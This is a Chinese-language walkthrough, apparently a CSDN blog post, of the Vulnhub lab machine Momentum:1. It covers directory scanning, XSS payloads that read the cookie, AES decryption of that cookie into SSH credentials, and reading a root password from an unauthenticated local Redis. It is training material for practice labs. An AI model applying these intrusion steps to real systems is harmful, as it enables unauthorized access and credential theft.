Momentum:1【攻略】


介绍

机器ip
kali10.4.7.135
靶机10.4.7.142

信息收集

主机发现

image-20231031174134820

端口扫描

image-20231031174158683

网站探测

无可用信息。

image-20231031174603085

目录扫描

发现一个 js 文件,和一个 apach 文件。

dirb http://10.4.7.142

image-20231101113544777

打开 js 文件,发现此为解密流程,先调用 cryptojs 库,然后使用解密的内容以及密钥,再然后转成 utf8 格式。

得到一个加密的 Key。

SecretPassphraseMomentum

image-20231101113849119

Web渗透

点进图片尝试在 url 写入数据。

image-20231101114449382

写入成功。

尝试 xss,存在 xss 漏洞。

<script>alert(1);</script>

image-20231101114601681

XSS 漏洞

利用 xss 获取 cookie。

<script>alert(document.cookie);</script>

cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

image-20231101114736799

cookie 是加密的,联想之前 js 文件的秘钥,需要用之前在 js 获得的秘钥解密,得到一个密码。

解密网站:AES加密-AES解密-在线AES加密解密工具 (jsons.cn)

U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

SecretPassphraseMomentum

auxerre-alienum##

image-20231101115302441

SSH 登录

ssh auxerre@10.4.7.142
# 密码
# auxerre-alienum##

image-20231101163837545

查看文件,得到第一个 flag。

flag : 84157165c30ad34d18945b647ec7f647

查看是否有内核漏洞。

image-20231101164059895

image-20231101164051111

没有 sudo 命令。

image-20231101164122416

查看用户,发现有一个 redis用户。

image-20231101164228098

查看系统进程,发现开启了6379端口,说明开启了 redis

ss -anotu

image-20231101164442515

Redis

REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。

连接 redis

打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务,发现不需要密码就可以登录,查看键值,得到 root 密码。

m0mentum-al1enum##

# 启动redis
auxerre@Momentum:~$ redis-cli
# 获取键总数
127.0.0.1:6379> dbsize
(integer) 1
# 获取所有键
127.0.0.1:6379> keys *
1) "rootpass"
# 获取键值
127.0.0.1:6379> get rootpass
"m0mentum-al1enum##"
127.0.0.1:6379> 

image-20231101165321101

本地提权

得到第二个 flag。

image-20231101170250291

总结

本次包含:

  • XSS 漏洞
  • AES 加解密
  • Redis 查询

参考文章

【精选】靶机渗透练习80-Momentum:1_访问靶机的80端口,分析端口开放服务,根据服务进行漏洞利用,提交服务器中存在的fla_hirak0的博客-CSDN博客

看完这篇 教你玩转渗透测试靶机Vulnhub——Momentum:1-CSDN博客

Redis 教程 | 菜鸟教程 (runoob.com)

Redis 常用操作命令,非常详细! - 知乎 (zhihu.com)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值